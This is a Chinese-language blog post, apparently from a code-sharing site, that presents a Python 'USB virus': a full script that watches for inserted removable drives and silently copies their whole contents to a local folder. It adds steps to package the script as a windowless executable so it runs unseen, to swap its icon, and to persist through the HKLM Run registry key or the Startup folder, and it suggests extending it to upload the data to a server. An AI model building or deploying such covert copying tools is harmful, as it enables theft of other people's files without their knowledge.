1. 程式人生 > >佛爺帶你用Python寫一個USB病毒(自動複製U盤所有內容到指定本地磁碟地址)

佛爺帶你用Python寫一個USB病毒(自動複製U盤所有內容到指定本地磁碟地址)

致力想當一名駭客的筆者閒著無聊,做一個小工具玩玩,程式碼量不大,用Python寫一個指令碼檢測U盤的插入和複製U盤內容到本地計算機上(大家可以擴充套件為上傳到具體某個伺服器上或者什麼)。然後打包成可執行檔案(後臺執行、有視窗執行),並且新增到電腦開機啟動程序裡。

Windows版本

直接上程式碼,程式碼不多,也不難懂。Python3.6開發環境:

# -*- coding:utf-8 -*-
import psutil
import sys
import os
import time
from datetime import datetime
import shutil

"""全域性資料 實時更新"""
local_device = [] # 本地硬碟 local_letter = [] # 本地碟符 local_number = 0 # 本地硬碟數 local_cdrom = [] local_cdrom_letter = [] local_cdrom_number = 0 mobile_device = [] # 移動裝置 mobile_letter = [] # 移動裝置碟符 mobile_number = 0 # 移動裝置數 def updata(): global local_device, local_letter, local_number, mobile_device, \ mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number # 引入全域性變數
tmp_local_device, tmp_local_letter = [], [] tmp_mobile_device, tmp_mobile_letter = [], [] tmp_local_cdrom, tmp_local_cdrom_letter = [], [] tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number = 0, 0, 0 try: part = psutil.disk_partitions() except: print("程式發生異常!!!"
) sys.exit(-1) else: # 驅動器分類 for i in range(len(part)): tmplist = part[i].opts.split(",") if "fixed" in tmplist: # 掛載選項資料內讀到fixed = 本地裝置 tmp_local_number = tmp_local_number + 1 tmp_local_letter.append(part[i].device[:2]) # 得到碟符資訊 tmp_local_device.append(part[i]) elif "cdrom" in tmplist: tmp_local_cdrom_number = tmp_local_cdrom_number + 1 tmp_local_cdrom_letter.append(part[i].device[:2]) tmp_local_cdrom.append(part[i]) else: tmp_mobile_number = tmp_mobile_number + 1 tmp_mobile_letter.append(part[i].device[:2]) tmp_mobile_device.append(part[i]) # 淺切片 local_device, local_letter = tmp_local_device[:], tmp_local_letter[:] mobile_device, mobile_letter = tmp_mobile_device[:], tmp_mobile_letter[:] local_number, mobile_number, local_cdrom_number = tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number local_cdrom, local_cdrom_letter = tmp_local_cdrom[:], tmp_local_cdrom_letter[:] return len(part) # 返回當前驅動器數 def print_device(n): global local_device, local_letter, local_number, mobile_device, mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number print("讀取到" + str(n) + "個驅動器磁碟") print("------->", end="") for l in range(local_number): print(local_letter[l], end="") # 列出本地驅動器碟符 print("是本地硬碟") print("------->", end="") for l in range(local_cdrom_number): print(local_cdrom_letter[l], end="") # 列出本地驅動器碟符 print("是CD驅動器") if len(mobile_device): # 列出移動驅動器碟符 print("------->", end="") for m in range(mobile_number): print(mobile_letter[m], end="") print("是插入的移動磁碟...") else: pass print("程序進入監聽狀態 " + "*" * 10) return def copy_file_to_disk_hidden(USB_path): # U盤的碟符 usb_path = USB_path + "/" # 要複製到的路徑 save_path = "D:/tmp/copy_usb" while True: if os.path.exists(usb_path): shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S"))) break else: time.sleep(5) if __name__ == "__main__": # 初次讀取驅動器資訊,列印驅動器詳細 now_number = 0 # 實時驅動數 before_number = updata() # 更新資料之前的驅動數 print("=" * 50 + "\n此刻時間是: " + str(datetime.now())) print_device(before_number) # 程序進入迴圈 Loop Seconds = 1s while True: now_number = updata() if now_number > before_number: print("=" * 50 + " \n檢測到移動磁碟被插入...此刻時間是: " + str(datetime.now())) print_device(now_number) if len(mobile_device): # 列出移動驅動器碟符 for m in range(mobile_number): copy_file_to_disk_hidden(mobile_letter[m]) else: pass before_number = now_number # 重新整理資料 elif now_number < before_number: print("=" * 50 + " \n檢測到移動磁碟被拔出...此刻時間是: " + str(datetime.now())) print_device(now_number) before_number = now_number time.sleep(1)

Python指令碼打包可以參考網上各種教程。筆者這裡列舉一種:

  1. 在命令列用pip安裝 pyinstaller包
    pip install pyinstaller

  2. 下載安裝pyinstaler執行時所需要的windows擴充套件pywin32
    選擇最新版的下載,注意要選擇對應的python版本(version)和python位數(bittedness)
    通過在命令列輸入python檢視python版本和位數
    如下所示為python3.6的32位,需要下載[pywin32-223.win32-py3.6.exe](複製後網上搜索下載安裝)
    Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32
    如下所示為python3.6的64位,需要下載[pywin32-223.win-amd64-py3.6.exe]
    Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

  3. 在命令列中直接輸入下面的指令即可
    pyinstaller [opts] yourprogram.py
    引數含義
    -F 指定打包後只生成一個exe格式的檔案(建議寫上這個引數)
    -D –onedir 建立一個目錄,包含exe檔案,但會依賴很多檔案(預設選項)
    -c –console, –nowindowed 使用控制檯,無介面(預設)
    -w –windowed, –noconsole 使用視窗,無控制檯
    -p 新增搜尋路徑,讓其找到對應的庫。
    -i 改變生成程式的icon圖示(比如給女朋友寫的程式,換個好看的圖示,預設的很醜)

    例項說明

    比如你有個python程式叫test.py,絕對路徑在[D:\project],打包成一個exe格式的檔案

    pyinstaller -F D:\project\test.py
    條件同上,如果還希望沒有控制檯的黑框框,在程序中偷偷執行

    pyinstaller -F -w D:\project\test.py
    條件同上,如果還希望更換程式圖示

    pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

打包結果:
這裡寫圖片描述

自動讓windows計算開機執行某一個.exe檔案解決方法:
第一種:

點選桌面左下角的 開始,選擇 執行(開啟cmd),輸入“regedit”回車,開啟登錄檔編輯器。定位到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,新建一個字串型別的鍵值 XXXXX.exe,指向 D:\XXXX\XXXXX.exe

第二種:

開始→程式→啟動(工作管理員中也有啟動項),這個是比較簡單了,直接點要啟動的檔案左鍵不放,一直拖到啟動位置就行了。

Mac
之後更新。

相關推薦

佛爺Python一個USB病毒自動複製U所有內容指定本地磁碟地址

致力想當一名駭客的筆者閒著無聊,做一個小工具玩玩,程式碼量不大,用Python寫一個指令碼檢測U盤的插入和複製U盤內容到本地計算機上(大家可以擴充套件為上傳到具體某個伺服器上或者什麼)。然後打包成可執行檔案(後臺執行、有視窗執行),並且新增到電腦開機啟動程序裡。

佛爺Python視覺化分析 ”絕地求生1800萬遊戲資料“,穩穩吃雞!

本文內容和程式碼實現基本轉自By datayx。筆者在此之上,做了內容完善和程式碼完善。 98k消音,瞭解一下~ 經常玩吃雞遊戲,我們現在來分析一下過去一年 1800萬條遊戲資料,看看有什麼套路幫我們吃到雞。 1. 資料集描述 做資料分析或者機器

註冊會計師Python進行探索性風險分析

專 欄 ❈Rho,Python中文社群專欄作者,現居深圳。知乎專欄地址:https://zhuanlan.zhihu.com/BecomingaDataScientist❈ 專案介紹 所謂探索性資料分析(Exploratory Data Analysis,以下簡稱EDA),是指對已有的資料(特別是調查

Tkinter小專案:Python一個地址收藏管理工具,迅速提高的工作效率

如何管理雜亂的電腦桌面和一大堆的瀏覽器收藏網址?我用python寫了一個工具,迅速提高工作效率。 工作了一段時間發現,電腦桌面上已經滿屏的常用軟體、常用專案資料夾的快捷方式,一大堆的常用文件,瀏覽器上收藏的工作網址更是有100+,通常想開啟一個文件、網址要尋找半

究極大福利!Python一個抖音漂亮小姐姐發掘器!原始碼送給

最近沉迷於抖音無法自拔,常常連續花好幾個小時在抖音漂亮小姐姐身上。手動尋找費時費力,為了高效、直接地找到漂亮小姐姐,我用 Python + ADB 做了一個 Python 抖音機器人 Douyin-Bot。自動翻頁+顏值識別,瞬間覺得關注列表不夠用了!原理開啟《抖音短視訊》APP,進入主介面獲取手機截圖,並對

Python一個批量生成賬號的函數戶控制數據長度、數據條數

shuf open 小寫 長度 數據 ase 函數 用戶控制 app # 1、寫一個函數,批量生成一些註冊使用的賬號:[email protected]/* */,長度由用戶輸入,產生多少條也由用戶輸入,用戶名不能重復,用戶名必須由大寫字母、小寫字母、數字組成

Python一個小遊戲

python 小腳本 剛學Python時間不長,但也知道了一點,看別人的參考寫了一個猜數字小遊戲,也算是禹學於樂吧。#!/usr/bin/env python #coding=utf-8

python一個簡單的excel表格獲取當時的linux系統信息

psutil 生成 之前 建立 set ces ext 流量 關閉 最近在學習excel表格的制作,順便結合之前學習的內容,利用python的兩個模板,分別是獲取系統信息的psutil,和生成excel表格的xlsxwriter。利用這兩個模板將生成一個簡單的excel表格

python一個九九乘法表-2月19日/2018

九九乘法 while -c pos ont 九九 pytho 九九乘法表 font first = 1 while first<=9:   sec=1   while sec<=first:     print(str(sec),"x",str(first),

python一個restful API

python restful # -*- coding: utf-8 -*- # 作者: 煮酒品茶 """ package.module ~~~~~~~~~~~~~~ python實現的圖書的一個restful api. 參考restful設計指南 URL:

python一個微信聊天機器人

python wechat 聊天機器人 # -*- coding: utf-8 -*- """ package.module ~~~~~~~~~~~~~~ 一個微信機器人程序 微信客戶端itchat: http://itchat.readthed

python一個微信跳一跳外掛,瞬間稱霸朋友圈

python 微信 跳一跳 爬蟲12月28日,微信宣布,小程序增加了新的類目:小遊戲,同時上線小遊戲 你們跳的再好,在毫無心理波動的程序面前都是渣渣。 剛剛會python的小白想玩怎麽辦? 下有詳細的教程,哈哈,包教會不收任何的費用。 感受一下被支配的恐懼吧: 使用工具1.python3.6 2.adb 3

Python 一個TCP 伺服器和TCP代理

TCP伺服器 import socket import threading bind_ip="0.0.0.0" bind_port=9999 server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_i

Python一個語音播放軟體

單位經常使用廣播進行臨時事項的通知(將文字轉換為語音然後通過功放廣播),但是市面上多數語音播放軟體都是收費的,要麼發音失真,要麼不夠穩定——經常出現莫名其妙的故障,容易給工作帶來被動。學Python這麼久不如動手寫一款自己的語音廣播軟體,即使發生故障也可以自行排除。 介面設計 在開始動

python一個抽獎程式

第一次使用python寫程式,確實比C/C++之類方便許多。既然這個抽獎的資料不大,對效率要求並不高,所以採用python寫,更加簡潔、清晰、方便。 1.用到的模組 生成隨機數的模組random 用來讀取excel表格的模組xlrd 2.思路:首先開啟e

python一個小程式,解決買水果的問題?

問題: 商店總共有三種水果,香蕉/蘋果/葡萄,單價分別為3.5/5.0/3.0元/500克。 寫一個小程式實現:          1、輸出一個選單:列印每種水果的價格:          2、尋問客戶欲購買水果?          3、客戶想購買的克數?    

Pythonexcel

質量、速度、廉價,選擇其中兩個 在書寫這些程式碼之前你應該安裝一個庫 xlsxwriter Xlsx是python用來構造xlsx檔案的模組,可以向excel2007+中寫text,numbers,formulas 公式以及hyperlinks超連結 可以完成xls

Python介面

好程式碼本身就是最好的文件。當你需要新增一個註釋時,你應該考慮如何修改程式碼才能不需要註釋 作為Pyhon開發者,你遲早都會碰到圖形使用者介面(GUI)應用開發任務,這時候我們就需要一些介面庫來幫助我們快速搭建介面,python的介面庫很多,我認識的並不多,這裡只列出幾

python一個簡單的詞法分析器

編譯原理老師要求寫一個java的詞法分析器,想了想決定用python寫一個。 目標 能識別出變數,數字,運算子,界符和關鍵字,用excel表打印出來。 有了目標,想想要怎麼實現詞法分析器。 1.先進行預處理,把註釋,多餘的空格,空行去掉。 2.一行一行掃

python一個GitHub Trending Api

時間 sin 所有 運行 返回 gap 文件 clone con GitHub 給了開發者相當豐富的 API 接口 https://developer.github.com/v3/,包括認證,搜索,活動等接口,但就是沒有提供獲取 Trending 的接口。因此,需要自己來